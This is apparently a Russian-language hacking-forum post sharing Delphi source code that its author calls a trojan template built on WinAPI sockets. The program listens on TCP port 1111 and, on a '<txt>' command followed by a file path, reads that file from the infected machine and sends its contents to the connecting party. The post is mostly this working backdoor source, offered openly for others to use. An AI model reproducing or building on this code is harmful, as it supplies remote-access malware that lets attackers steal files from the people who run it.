Обещал поправлять форум сорцами - вот первый.
Совместными усилиями с одним хорошим человеком я сделал отличную загатовку троя на сокетах написанного на апи. Вещь в хороших руках очень позезная так что выкладываю сие сюда:
Code
program programm1;
uses
Windows,
WinSock, classes;
const
dwTextBufferSize = $1000;
var
WSAData: TWSAData;
lst_sock,
acc_sock: TSocket;
addr: TSockAddr;
lpTextBuffer: PChar;
data_len: integer;
i:integer;
tf:string;
aa:string;
f:textfile;
buf: String;
dd:string;
sl: TStringList;
sText : string;
function FileExists(FileName:string):boolean;
var
FindData: TWin32FindData;
begin
Result:=(FindFirstFile(PChar(FileName),FindData) <> INVALID_HANDLE_VALUE);
end;
procedure remote;
begin
dd:='Такого файла не существует!';
lpTextBuffer := '';
GetMem(lpTextBuffer, dwTextBufferSize);
WSAStartup(MakeWord(2, 0), WSAData);
lst_sock := socket(PF_INET, SOCK_STREAM, IPPROTO_IP);
addr.sin_family := PF_INET;
addr.sin_port := htons(1111);
addr.sin_addr.s_addr := INADDR_ANY;
bind(lst_sock, addr, sizeof(addr));
listen(lst_sock, SOMAXCONN);
acc_sock := accept(lst_sock, nil, nil);
while true do begin
data_len := recv(acc_sock, lpTextBuffer^, dwTextBufferSize - 1, 0);
lpTextBuffer[data_len] := chr(0);
if Length(lpTextBuffer) > 0 then begin
if copy(lpTextBuffer,1,5) = '<txt>' then begin
tf:=copy(lpTextBuffer,6,256);
if fileexists(tf) then begin
sl:= TStringList.Create ;
try
sl.LoadFromFile(tf);
sText := sl.Text;
// ---------------------
finally
sl.Free;
end;
send(acc_sock, stext[1], length(stext), 0);
end else send(acc_sock, dd[1], length(dd), 0);
end;
end;
end;
closesocket(lst_sock);
closesocket(acc_sock);
WSACleanup();
FreeMem(lpTextBuffer);
end;
begin
remote;
end.
Переменных насовал как обычно с излишком т.к. я не люблю их дописывать по ходу разработки. В этом коде представлена работа (получение\обработка\передача текста через сокеты). Порт - 1111.